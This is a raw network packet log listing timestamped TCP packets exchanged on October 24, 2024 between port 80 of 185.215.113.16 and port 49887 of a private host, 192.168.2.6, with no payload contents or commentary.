Oct 24, 2024 11:02:53.382576942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382582903 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382589102 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382595062 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382596016 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.382632017 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382642031 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382642984 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.382652998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382658958 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382694006 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382699966 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382705927 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382711887 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382725000 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382749081 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.382756948 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382776976 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382854939 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.382883072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382909060 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382919073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382925034 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.382927895 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.382932901 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383006096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383021116 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383058071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383065939 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383110046 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383116007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383126974 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383132935 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383140087 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383181095 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383220911 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383285046 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383326054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383337975 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383342981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383357048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383363962 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383368969 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383374929 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383393049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383409023 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383419991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383420944 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383434057 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383450031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383461952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383471966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383471966 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383480072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383486032 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383491993 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383498907 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383532047 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383570910 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383585930 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383600950 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383606911 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383639097 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383677959 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383698940 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383713007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383723021 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383724928 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383724928 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383734941 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383737087 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383747101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.383748055 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383773088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.383837938 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.415173054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415237904 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415266991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415280104 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415287018 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415299892 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.415333033 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415361881 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.415374041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415385962 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.415409088 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415415049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415452003 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.415718079 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415730000 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415735960 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415756941 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415775061 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415782928 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.415800095 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.415898085 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.417320013 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.417331934 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.417340040 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.417401075 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.424849033 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.424860954 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.424916029 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.460941076 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.460956097 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.460978031 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.460988998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.460994959 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.461000919 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.461005926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.461035013 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.461071968 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.496555090 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496566057 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496572971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496612072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496623993 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496634007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496660948 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.496691942 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.496695995 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496716976 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496723890 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496728897 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496735096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496767044 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.496822119 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.496922970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496941090 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496958971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496964931 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496970892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496974945 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.496975899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496983051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.496994972 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497019053 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497035027 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497040987 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497040987 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497045994 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497052908 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497076988 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497086048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497092009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497098923 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497098923 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497138023 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497189045 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497205973 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497216940 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497226000 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497271061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497298002 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497320890 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497334003 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497339964 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497342110 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497353077 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497375965 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497380972 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497386932 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497390985 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497422934 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497442961 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497452021 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497459888 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497472048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497472048 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497495890 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497525930 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497566938 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497577906 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497584105 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497589111 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497595072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497611046 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497627020 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497633934 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497637987 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497647047 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497648001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497661114 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497677088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497701883 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497735023 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497739077 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497750998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497832060 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497848034 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497859001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497864962 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497884989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497896910 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497906923 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497927904 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.497929096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497936964 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497944117 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497953892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497958899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497965097 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497971058 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.497973919 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498018026 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498028040 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498028994 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498050928 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498060942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498068094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498073101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498079062 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498085022 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498126984 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498146057 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498156071 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498157978 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498166084 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498172045 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498205900 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498217106 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498236895 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498254061 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498254061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498270035 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498271942 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498282909 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498295069 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498306036 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498311996 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498317957 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498321056 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498325109 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498370886 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498372078 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.498383045 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498389006 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.498437881 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883018970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883038044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883049011 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883105993 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883116961 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883127928 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883147001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883156061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883160114 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883209944 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883393049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883404970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883414030 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883425951 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883438110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883441925 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883451939 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883471012 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883472919 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883480072 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883483887 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883498907 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883516073 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883523941 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883543968 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883543968 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883558989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883578062 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883596897 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883606911 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883608103 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883614063 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883639097 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883642912 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883654118 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883665085 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883677959 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883682966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883692026 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883703947 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883704901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883719921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883725882 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883734941 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883748055 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883753061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883758068 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883769989 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883773088 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883788109 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883794069 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883800983 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883809090 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883816004 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883830070 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883842945 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883852959 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883856058 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883871078 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883886099 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883887053 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883903027 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.883908987 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883934021 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.883948088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884368896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884382963 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884413958 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884428978 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884453058 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884468079 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884481907 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884495020 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884500980 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884509087 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884525061 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884527922 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884538889 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884545088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884556055 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884571075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884572983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884587049 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884598017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884598970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884619951 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884643078 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884793997 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884808064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884820938 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884834051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884835005 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884849072 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.884849072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.884865046 CEST	80	49887	185.215.113.16	192.168.2.6
